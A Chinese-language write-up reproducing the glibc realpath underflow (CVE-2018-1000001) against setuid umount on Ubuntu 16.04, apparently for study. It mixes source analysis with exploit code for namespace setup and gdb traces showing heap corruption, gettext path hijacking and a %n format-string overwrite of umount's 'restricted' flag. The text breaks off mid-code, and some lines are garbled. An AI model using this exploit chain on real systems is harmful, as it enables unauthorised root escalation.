# glibc Realpath缓冲区下溢(CVE–2018–1000001) ## 前言 这个漏洞在网上没找到太多相关详细的复现,主要原因一是因为exp较长、利用过程较为复杂,二是在利用过程中涉及利用程序与 umount 进程间通信,详细调试起来较为繁琐。 ## 环境搭建 本次复现使用[Ubuntu-16.04.3-desktop-amd64](http://old-releases.ubuntu.com/releases/xenial/ubuntu-16.04.3-desktop-amd64.iso)。 首先查看环境 glibc 版本 和 util-linux 版本: ```shell test@ubuntu:~$ ldd --version ldd (Ubuntu GLIBC 2.23-0ubuntu9) 2.23 Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper. test@ubuntu:~$ dpkg -l | grep util-linux ii util-linux 2.27.1-6ubuntu3.3 amd64 miscellaneous system utilities ``` 编译带符号的 umount : ```shell test@ubuntu:~$sudo apt-get install dpkg-dev automake test@ubuntu:~$sudo apt-get source util-linux test@ubuntu:~$cd util-linux-2.27.1 test@ubuntu:~/util-linux-2.27.1$./configure test@ubuntu:~/util-linux-2.27.1$make && sudo make install test@ubuntu:~$ file /bin/umount /bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9e883670602e6004180bd91bcac42ccce448380d, not stripped ``` 用如下方式添加glilbc源码: ```shell test@ubuntu:~$ sudo apt-get install glibc-source test@ubuntu:/usr/src/glibc$ sudo tar xvf glibc-2.23.tar.xz ``` 之后在 gdb 中引入源码路径即可。 ## 漏洞原理 本次漏洞的主要原因在于 Linux 内核与 glibc 在对不可达路径的处理不同导致的缓冲区溢出。 首先来看 Linux 内核在版本2.6.36的这次提交 [vfs: show unreachable paths in getcwd and proc](https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74)。 这次提交修改的`getcwd()`函数主要作用是获取当前进程工作目录的绝对路径,如果执行成功返回以 NULL 结尾的字符串,否则返回 NULL 并将 `errno`设置为未指定错误。这次提交修改了 `getcwd()`函数如果当前目录不在当前进程的根目录下,则返回以`(unreachable)`为前缀的路径名(例如,因为该进程使用 chroot 设置新的文件系统根目录,而无需将其当前目录更改为新的 root )。 其次,glibc 中的`getcwd()`函数没有处理`unreachable`的情况,即未能区分绝对路径和不可达路径。来分析因为调用`getcwd()`产生漏洞的`__realpath()`函数。 `__realpath()`函数返回不包含 `.`、`..`、及重复分隔符`/`的规范化绝对路径名,该路径名以 NULL 结尾。具体实现如下: ```c //stdlib/canonicalize.c char * __realpath (const char *name, char *resolved) { char *rpath, *dest, *extra_buf = NULL; const char *start, *end, *rpath_limit; long int path_max; int num_links = 0; ... if (name[0] != '/') { (1)-->if (!__getcwd (rpath, path_max)) { rpath[0] = '\0'; goto error; } dest = __rawmemchr (rpath, '\0'); } else { rpath[0] = '/'; dest = rpath + 1; } for (start = end = name; *start; start = end) { struct stat64 st; int n; /* Skip sequence of multiple path-separators. */ while (*start == '/') ++start; /* Find end of path component. */ for (end = start; *end && *end != '/'; ++end) /* Nothing. */; if (end - start == 0) break; else if (end - start == 1 && start[0] == '.') /* nothing */; else if (end - start == 2 && start[0] == '.' && start[1] == '.') { /* Back up to previous component, ignore if at root already. */ if (dest > rpath + 1) (2)--> while ((--dest)[-1] != '/'); } else { size_t new_size; if (dest[-1] != '/') *dest++ = '/'; ... (3)--> dest = __mempcpy (dest, start, end - start); *dest = '\0'; ... if (S_ISLNK (st.st_mode)) { char *buf = __alloca (path_max); size_t len; ... (4)--> n = __readlink (rpath, buf, path_max - 1); ... /* Careful here, end may be a pointer into extra_buf... */ memmove (&extra_buf[n], end, len + 1); name = end = memcpy (extra_buf, buf, n); if (buf[0] == '/') dest = rpath + 1; /* It's an absolute symlink */ else /* Back up to previous component, ignore if at root already: */ if (dest > rpath + 1) while ((--dest)[-1] != '/'); } ... } } if (dest > rpath + 1 && dest[-1] == '/') --dest; *dest = '\0'; assert (resolved == NULL || resolved == rpath); return rpath; ... } versioned_symbol (libc, __realpath, realpath, GLIBC_2_3); ``` 简述一下该函数与漏洞相关的流程:首先判断是相对路径还是绝对路径,如果第一个字符是’/‘说明是绝对路径,否则是相对路径。(1)若是相对路径调用`getcwd()`获得当前目录的绝对路径,后面结合`rpath`生成绝对路径名。接下来for循环以’/‘为分割分别对`name`的每个部分进行处理,`end - start == 1 && start[0] == '.'`表示路径为`./`,即当前路径;`end - start == 2 && start[0] == '.' && start[1] == '.'`表示路径为`../`,即上级目录,`rpath`和`dest`分别是`getcwd()`获得的绝对路径的头和尾,(2)此时将`dest`向前移动到上一个`/`,若`rpath`不是以`/`开头`dest`会一直上移,从而发生上溢。(3)若不是以上两种情况则将该部分拷贝到`dest`。(4)另外还会检查`rpath`是否为符号链接,若是则需展开符号链接。 ## 利用过程 ### 设置Mount Namespace的进程 这部分主要在 exp 中的 `prepareNamespacedProcess()`函数中。主要是为了准备一个运行在自己 Mount Namespace 的进程,并设置好适当的挂载结构。该进程允许程序在结束时可以清除它,从而删除 namespace。 Mount Namespace 是用来隔离文件系统的挂载点,不同 Mount Namespace 的进程拥有不同的挂载点,也拥有不同的文件系统视图。当前进程所在的 Mount Namespace 里的所有挂载信息在 `/proc/[pid]/mounts`、`/proc/[pid]/mountinfo` 和 `/proc/[pid]/mountstats` 里面。每个 Mount Namespace 都拥有一份自己的挂载点列表,当用 clone 或者 unshare 函数创建了新的 Mount Namespace 时,新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表。 `prepareNamespacedProcess()`函数流程如下: - 调用 `clone()` 创建进程,新进程执行函数 `usernsChildFunction()`,即设置挂载点,将 tmpfs 类型的文件系统 tmpfs 挂载到 `/tmp`。 ```c static int usernsChildFunction() { while(geteuid()!=0) { sched_yield(); } int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); assert(!result); assert(!chdir("/tmp")); int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644); assert(handle>=0); close(handle); sleep(100000); } ... char *stackData=(char*)malloc(1<<20); assert(stackData); namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20), CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); ... ``` - 然后在父进程里可以对子进程进行设置,通过设置 `setgroups` 为 deny,可以限制在新 namespace 里面调用 `setgroups()` 函数来设置 groups;通过设置 `uid_map` 和 `gid_map`,可以让子进程设置好挂载点。 ```c char idMapFileName[128]; char idMapData[128]; sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid); int setGroupsFd=open(idMapFileName, O_WRONLY); assert(setGroupsFd>=0); int result=write(setGroupsFd, "deny", 4); assert(result>0); close(setGroupsFd); sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid); int uidMapFd=open(idMapFileName, O_WRONLY); assert(uidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(uidMapFd); sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid); int gidMapFd=open(idMapFileName, O_WRONLY); assert(gidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(gidMapFd); ``` 结果如下: ```shell test@ubuntu:~$ cat /proc/49653/setgroups deny test@ubuntu:~$ cat /proc/49653/uid_map 0 1000 1 test@ubuntu:~$ cat /proc/49653/gid_map 0 1000 1 ``` - 在`proc/pid/cwd`目录下,递归创建 umount 所需目录 。`/proc/pid/cwd` 是一个符号连接, 指向进程当前的工作目录。 ```c // Create directories needed for umount to proceed to final state // "not mounted". createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]); assert(result0); result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused", selfPathName); assert(result sub r13, 0x1 $r8 : 0x412f414141414141 ("AAAAAA/A"?) $r9 : 0x4141414141414141 ("AAAAAAAA"?) $r10 : 0x4141414141414141 ("AAAAAAAA"?) $r11 : 0x293 $r12 : 0x00000000010d7bf0 → "(unreachable)/tmp/down" $r13 : 0x00000000010d7c02 → 0x7be000006e776f64 ("down"?) $r14 : 0x00007ffc15f3ffb2 → "/x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $r15 : 0x00007ffc15f3ffb2 → "/x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────── stack ──── 0x00007ffc15f3ffb0│+0x0000: "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rsp 0x00007ffc15f3ffb8│+0x0008: "../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffc0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffc8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAA[...]" 0x00007ffc15f3ffd0│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAA[...]" 0x00007ffc15f3ffd8│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffe0│+0x0030: "AAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffe8│+0x0038: "AAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ─────────────────────────────────────────────────── code:x86:64 ──── 0x7fb791ce77a2 cmp r13, rax 0x7fb791ce77a5 jbe 0x7fb791ce7643 <__realpath+643> 0x7fb791ce77ab nop DWORD PTR [rax+rax*1+0x0] → 0x7fb791ce77b0 sub r13, 0x1 0x7fb791ce77b4 cmp BYTE PTR [r13-0x1], 0x2f 0x7fb791ce77b9 jne 0x7fb791ce77b0 <__realpath+1008> 0x7fb791ce77bb jmp 0x7fb791ce7640 <__realpath+640> 0x7fb791ce77c0 mov rax, QWORD PTR [rip+0x37e6b1] # 0x7fb792065e78 0x7fb791ce77c7 mov DWORD PTR fs:[rax], 0x28 ───────────────────────────────────────── source:canonicalize.c+122 ──── 117 /* nothing */; 118 else if (end - start == 2 && start[0] == '.' && start[1] == '.') 119 { 120 /* Back up to previous component, ignore if at root already. */ 121 if (dest > rpath + 1) → 122 while ((--dest)[-1] != '/'); 123 } 124 else 125 { 126 size_t new_size; 127 ───────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "umount", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────── trace ──── [#0] 0x7fb791ce77b0 → __realpath(name=, resolved=0x0) [#1] 0x403de3 → realpath(__resolved=0x0, __name=0x7ffc15f4425f "down") [#2] 0x403de3 → canonicalize_path_restricted(path=0x7ffc15f4425f "down") [#3] 0x402d2c → sanitize_path(path=0x7ffc15f4425f "down") [#4] 0x402d2c → main(argc=0xa, argv=0x7ffc15f42300) ─────────────────────────────────────────────────────────────── gef➤ hexdump byte $r12-0xbf0+0x6d0 0x60 0x00000000010d76d0 2f 75 73 72 2f 6c 69 62 2f 6c 6f 63 61 6c 65 2f /usr/lib/locale/ 0x00000000010d76e0 43 2e 75 74 66 38 2f 4c 43 5f 43 54 59 50 45 00 C.utf8/LC_CTYPE. 0x00000000010d76f0 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00 ........Q....... 0x00000000010d7700 d0 76 0d 01 00 00 00 00 00 00 00 00 00 00 00 00 .v.............. 0x00000000010d7710 00 00 00 00 00 00 00 00 10 76 0d 01 00 00 00 00 .........v...... 0x00000000010d7720 90 76 0d 01 00 00 00 00 00 00 00 00 00 00 00 00 .v.............. gef➤ hexdump byte $r12 0x60 0x00000000010d7bf0 28 75 6e 72 65 61 63 68 61 62 6c 65 29 2f 74 6d (unreachable)/tm 0x00000000010d7c00 70 2f 64 6f 77 6e 00 00 e0 7b 0d 01 00 00 00 00 p/down...{...... 0x00000000010d7c10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7c20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7c30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7c40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ``` 触发漏洞后经过三次`__mempcpy`后,`(unreachable)/tmp/down`展开的符号链接覆盖了`LC_CTYPE`: ```shell [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────── registers ──── $rax : 0x00000000010d7758 → 0x00007fb791e35760 → "/usr/share/locale" $rbx : 0x00000000010d8bf0 → 0x0000000000000000 $rcx : 0x41 $rdx : 0x0 $rsp : 0x00007ffc15f3ffb0 → "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $rbp : 0x00007ffc15f420d0 → 0x00007fb7924ba7d0 → 0x0000000000000000 $rsi : 0x00007ffc15f4002c → 0x0000000000000000 $rdi : 0x00000000010d7758 → 0x00007fb791e35760 → "/usr/share/locale" $rip : 0x00007fb791ce758b → mov rdx, QWORD PTR [rbp-0xe8] $r8 : 0x4141414141414141 ("AAAAAAAA"?) $r9 : 0x4141414141414141 ("AAAAAAAA"?) $r10 : 0x4141414141414141 ("AAAAAAAA"?) $r11 : 0x246 $r12 : 0x00000000010d7bf0 → "(unreachable)/x" $r13 : 0x00000000010d7756 → 0x7fb791e35760412f $r14 : 0x00007ffc15f4002b → 0x0000000000000041 ("A"?) $r15 : 0x00007ffc15f4002c → 0x0000000000000000 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────── stack ──── 0x00007ffc15f3ffb0│+0x0000: "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rsp 0x00007ffc15f3ffb8│+0x0008: "../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffc0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffc8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAA[...]" 0x00007ffc15f3ffd0│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAA[...]" 0x00007ffc15f3ffd8│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffe0│+0x0030: "AAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc15f3ffe8│+0x0038: "AAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ─────────────────────────────────────────────────── code:x86:64 ──── 0x7fb791ce7580 add rdi, rax 0x7fb791ce7583 mov rsi, r14 0x7fb791ce7586 call 0x7fb791d313b0 <__mempcpy_sse2> → 0x7fb791ce758b mov rdx, QWORD PTR [rbp-0xe8] 0x7fb791ce7592 mov BYTE PTR [rax], 0x0 0x7fb791ce7595 mov rsi, r12 0x7fb791ce7598 mov edi, 0x1 0x7fb791ce759d mov r13, rax 0x7fb791ce75a0 call 0x7fb791d98c40 <__GI___lxstat> ────────────────────────────────────────── source:canonicalize.c+161 ──── 156 } 157 158 dest = __mempcpy (dest, start, end - start); 159 *dest = '\0'; 160 → 161 if (__lxstat64 (_STAT_VER, rpath, &st) < 0) 162 goto error; 163 164 if (S_ISLNK (st.st_mode)) 165 { 166 char *buf = __alloca (path_max); ────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "umount", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────── trace ──── [#0] 0x7fb791ce758b → __realpath(name=, resolved=0x0) [#1] 0x403de3 → realpath(__resolved=0x0, __name=0x7ffc15f4425f "down") [#2] 0x403de3 → canonicalize_path_restricted(path=0x7ffc15f4425f "down") [#3] 0x402d2c → sanitize_path(path=0x7ffc15f4425f "down") [#4] 0x402d2c → main(argc=0xa, argv=0x7ffc15f42300) ─────────────────────────────────────────────────────────────── gef➤ hexdump byte $r12-0xbf0+0x6d0 0x60 0x00000000010d76d0 2f 75 73 72 2f 6c 69 62 2f 6c 6f 63 61 6c 65 2f /usr/lib/locale/ 0x00000000010d76e0 43 2e 75 74 66 38 2f 41 41 41 41 41 41 41 41 41 C.utf8/AAAAAAAAA 0x00000000010d76f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x00000000010d7700 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x00000000010d7710 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x00000000010d7720 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 /AAAAAAAAAAAAAAA gef➤ 0x00000000010d7730 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x00000000010d7740 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x00000000010d7750 41 41 41 41 41 41 2f 41 60 57 e3 91 b7 7f 00 00 AAAAAA/A`W...... 0x00000000010d7760 00 00 00 00 00 00 00 00 75 74 69 6c 2d 6c 69 6e ........util-lin 0x00000000010d7770 75 78 00 00 00 00 00 00 11 03 00 00 00 00 00 00 ux.............. 0x00000000010d7780 50 75 0d 01 00 00 00 00 00 10 32 92 b7 7f 00 00 Pu........2..... ``` 在打印报错信息前会调用`dcigettext()`函数。正常流程下`binding==NULL` 则`dirname`使用默认路径 `/usr/lib/locate`。 ```c //intl/dcigettext.c#L615 for (binding = _nl_domain_bindings; binding != NULL; binding = binding->next) { int compare = strcmp (domainname, binding->domainname); if (compare == 0) /* We found it! */ break; if (compare < 0) { /* It is not in the list. */ binding = NULL; break; } } if (binding == NULL) dirname = _nl_default_dirname; else { dirname = binding->dirname; ``` 但是当触发漏洞后,路径字符串刚好填充到`binding`字段使得`binding!=NULL`,这时根据上面源码流程 `dirname = binding->dirname`而 `binding->dirname`恰好是 `_nl_load_locale_from_archive`。至此篡改了`gettext`的查找路径。下面代码中 `rbx`为`binding`,`[rbx+0x8]`为`binding->dirname`。 ```shell [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0000000000d13750 → "AAAAAA/A" $rcx : 0x0 $rdx : 0xa $rsp : 0x00007ffc8479f6d0 → 0x00382d4654552e43 ("C.UTF-8"?) $rbp : 0x00007ffc8479f7e0 → 0x00000000ffffffff $rsi : 0x0000000000d13768 → "util-linux" $rdi : 0x0000000000d13ad0 → "util-linux" $rip : 0x00007f720e35ad5a → <__dcigettext+394> mov rax, QWORD PTR [rbx+0x8] $r8 : 0x81 $r9 : 0x00007f720e6f0b20 → 0x0000000000000000 $r10 : 0x0 $r11 : 0x246 $r12 : 0x0000000000d13ad0 → "util-linux" $r13 : 0x0000000000d172b0 → "(unreachable)/x" $r14 : 0x1 $r15 : 0x1 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────── stack ──── 0x00007ffc8479f6d0│+0x0000: 0x00382d4654552e43 ("C.UTF-8"?) ← $rsp 0x00007ffc8479f6d8│+0x0008: 0x00007ffc847a125f → 0x42414c006e776f64 ("down"?) 0x00007ffc8479f6e0│+0x0010: 0x0000000000d13af0 → 0x0000000100000002 0x00007ffc8479f6e8│+0x0018: 0x00007f720e35ac93 → <__dcigettext+195> lea rdx, [rax+0x1] 0x00007ffc8479f6f0│+0x0020: 0x00007ffc8479f760 → 0x00007f720e93b83c → 0x0000000000000002 0x00007ffc8479f6f8│+0x0028: 0x000000010e42fcd2 0x00007ffc8479f700│+0x0030: 0x00007ffc8479d6d0 → "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" 0x00007ffc8479f708│+0x0038: 0x00007ffc8479f6d0 → 0x00382d4654552e43 ("C.UTF-8"?) ─────────────────────────────────────────────────── code:x86:64 ──── 0x7f720e35ad51 <__dcigettext+385> call 0x7f720e3b4d10 <__strcmp_sse2> 0x7f720e35ad56 <__dcigettext+390> test eax, eax 0x7f720e35ad58 <__dcigettext+392> jne 0x7f720e35ad38 <__dcigettext+360> → 0x7f720e35ad5a <__dcigettext+394> mov rax, QWORD PTR [rbx+0x8] 0x7f720e35ad5e <__dcigettext+398> cmp BYTE PTR [rax], 0x2f 0x7f720e35ad61 <__dcigettext+401> mov QWORD PTR [rbp-0x88], rax 0x7f720e35ad68 <__dcigettext+408> je 0x7f720e35adfb <__dcigettext+555> 0x7f720e35ad6e <__dcigettext+414> mov rdi, rax 0x7f720e35ad71 <__dcigettext+417> mov r13d, 0x1002 ─────────────────────────────────────────── source:dcigettext.c+621 ──── 616 617 if (binding == NULL) 618 dirname = _nl_default_dirname; 619 else 620 { → 621 dirname = binding->dirname; 622 #endif 623 if (!IS_ABSOLUTE_PATH (dirname)) 624 { 625 /* We have a relative path. Make it absolute now. */ 626 size_t dirname_len = strlen (dirname) + 1; ────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "umount", stopped, reason: SINGLE STEP ────────────────────────────────────────────────────── trace ──── [#0] 0x7f720e35ad5a → __dcigettext(domainname=0xd13ad0 "util-linux", msgid1=0x404938 "%s: not mounted", msgid2=0x0, plural=0x0, n=0x0, category=0x5) [#1] 0x7f720e35962f → __GI___dcgettext(domainname=0x0, msgid=0x404938 "%s: not mounted", category=0x5) [#2] 0x4031f6 → mk_exit_code(cxt=0xd13af0, rc=0xffffffff) [#3] 0x4036e1 → umount_one(cxt=0xd13af0, spec=) [#4] 0x402cf1 → main(argc=0xa, argv=0x7ffc8479fa20) ────────────────────────────────────────────────────────────── gef➤ x/gx $rbx+0x8 0xd13758: 0x00007f720e4be700 gef➤ x/gs 0x00007f720e4be700 warning: Unable to display strings with size 'g', using 'b' instead. 0x7f720e4be700 <__PRETTY_FUNCTION__.9195>: "_nl_load_locale_from_archive" ``` 最终,将`%s: not mounted`替换成格式化字符串。使用 fprintf 的 %n 格式化字符串,即可对内存地址进行写操作。由于 fprintf 所使用的堆栈布局是固定的,所以可以忽略 ASLR 的影响。于是可以利用该特性覆盖掉`libmnt_context`结构体中的`restricted`字段。 ```c // util-linux/libmount/src/mountP.h struct libmnt_context { int action; /* MNT_ACT_{MOUNT,UMOUNT} */ int restricted; /* root or not? */ char *fstype_pattern; /* for mnt_match_fstype() */ char *optstr_pattern; /* for mnt_match_options() */ ... }; ``` ```shell [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x00000000010d7af0 → 0x0000000100000002 $rcx : 0x0 $rdx : 0x00007fb792067920 → 0x0000000000000000 $rsp : 0x00007ffc15f420d0 → 0x00000000010d7bf0 → "(unreachable)/x" $rbp : 0xffffffff $rsi : 0x00000000010db2b0 → "(unreachable)/x" $rdi : 0x00007fb7924c418c → "AA%7$lnAAAAAA%016lx%016lx%016lx%016lx%016lx%016lx%[...]" $rip : 0x0000000000403204 → call 0x402140 $r8 : 0x81 $r9 : 0x00007fb792067920 → 0x0000000000000000 $r10 : 0x0 $r11 : 0x1 $r12 : 0x1 $r13 : 0x00000000010db2b0 → "(unreachable)/x" $r14 : 0x0 $r15 : 0x00007ffc15f42300 → 0x00007ffc15f4425f → 0x42414c006e776f64 ("down"?) $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────── stack ──── 0x00007ffc15f420d0│+0x0000: 0x00000000010d7bf0 → "(unreachable)/x" ← $rsp 0x00007ffc15f420d8│+0x0008: 0x00000000010d7af0 → 0x0000000100000002 0x00007ffc15f420e0│+0x0010: 0x000000000000000a 0x00007ffc15f420e8│+0x0018: 0x000000000000000a 0x00007ffc15f420f0│+0x0020: 0x00000000010d7bf0 → "(unreachable)/x" 0x00007ffc15f420f8│+0x0028: 0x00000000004036e1 → test eax, eax 0x00007ffc15f42100│+0x0030: 0x000000000000000a 0x00007ffc15f42108│+0x0038: 0x00000000010d7af0 → 0x0000000100000002 ────────────────────────────────────────────────── code:x86:64 ──── 0x4031fc mov rdi, rax 0x4031ff mov rsi, r13 0x403202 xor eax, eax → 0x403204 call 0x402140 ↳ 0x402140 jmp QWORD PTR [rip+0x203fca] # 0x606110 0x402146 push 0x1f 0x40214b jmp 0x401f40 0x402150 jmp QWORD PTR [rip+0x203fc2] # 0x606118 0x402156 push 0x20 0x40215b jmp 0x401f40 ──────────────────────────────────────────── arguments (guessed) ──── warnx@plt ( $rdi = 0x00007fb7924c418c → "AA%7$lnAAAAAA%016lx%016lx%016lx%016lx%016lx%016lx%[...]", $rsi = 0x00000000010db2b0 → "(unreachable)/x", $rdx = 0x00007fb792067920 → 0x0000000000000000, $rcx = 0x0000000000000000 ) ─────────────────────────────────────── source:sys-utils/umount.c+207 ──── 202 * libmount errors (extra library checks) 203 */ 204 if (rc == -EPERM && !mnt_context_tab_applied(cxt)) { 205 /* failed to evaluate permissions because not found 206 * relevant entry in mtab */ → 207 warnx(_("%s: not mounted"), tgt); 208 return MOUNT_EX_USAGE; 209 } 210 return handle_generic_errors(rc, _("%s: umount failed"), tgt); 211 212 } else if (mnt_context_get_syscall_errno(cxt) == 0) { ───────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "umount", stopped, reason: SINGLE STEP ────────────────────────────────────────────────────── trace ──── [#0] 0x403204 → mk_exit_code(cxt=0x10d7af0, rc=0xffffffff) [#1] 0x4036e1 → umount_one(cxt=0x10d7af0, spec=) [#2] 0x402cf1 → main(argc=0xa, argv=0x7ffc15f42300) ─────────────────────────────────────────────────────────────── gef➤ hexdump byte $r13-0x72b0+0x3af0 0x60 0x00000000010d7af0 02 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7b00 00 00 00 00 00 00 00 00 00 8c 0d 01 00 00 00 00 ................ 0x00000000010d7b10 20 e3 0d 01 00 00 00 00 60 a9 0d 01 00 00 00 00 .......`....... 0x00000000010d7b20 00 00 00 00 00 00 00 00 00 30 40 00 00 00 00 00 .........0@..... 0x00000000010d7b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7b40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ``` `libmnt_context`结构体中的`restricted`字段已被覆盖。 ```shell gef➤ hexdump byte $r13-0x72b0+0x3af0 0x60 0x00000000010d7af0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7b00 00 00 00 00 00 00 00 00 00 8c 0d 01 00 00 00 00 ................ 0x00000000010d7b10 20 e3 0d 01 00 00 00 00 60 a9 0d 01 00 00 00 00 .......`....... 0x00000000010d7b20 00 00 00 00 00 00 00 00 00 30 40 00 00 00 00 00 .........0@..... 0x00000000010d7b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00000000010d7b40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ``` 同时还会将栈上其中一个`AANGUAGE = X.X`改为 `LANGUAGE = X.X`。 ```shell gef➤ dereference $rsp+0xb88 0x00007ffc15f428a0│+0x0000: 0x00007ffc15f44b72 → "LANGUAGE=X.X" 0x00007ffc15f428a8│+0x0008: 0x00007ffc15f44b7f → "AANGUAGE=X.X" 0x00007ffc15f428b0│+0x0010: 0x00007ffc15f44b8c → "AANGUAGE=X.X" 0x00007ffc15f428b8│+0x0018: 0x00007ffc15f44b99 → "AANGUAGE=X.X" 0x00007ffc15f428c0│+0x0020: 0x00007ffc15f44ba6 → "AANGUAGE=X.X" 0x00007ffc15f428c8│+0x0028: 0x00007ffc15f44bb3 → "AANGUAGE=X.X" 0x00007ffc15f428d0│+0x0030: 0x00007ffc15f44bc0 → "AANGUAGE=X.X" 0x00007ffc15f428d8│+0x0038: 0x00007ffc15f44bcd → "AANGUAGE=X.X" 0x00007ffc15f428e0│+0x0040: 0x00007ffc15f44bda → "AANGUAGE=X.X" 0x00007ffc15f428e8│+0x0048: 0x00007ffc15f44be7 → "AANGUAGE=X.X" ``` 回到父进程,寻找溢出后的8个A定位数据的位置。 ```c switch(escalationPhase) { case 0: // Initial sync: read A*8 preamble. if(readDataLength<8) continue; char *preambleStart=memmem(readBuffer, readDataLength, "AAAAAAAA", 8); 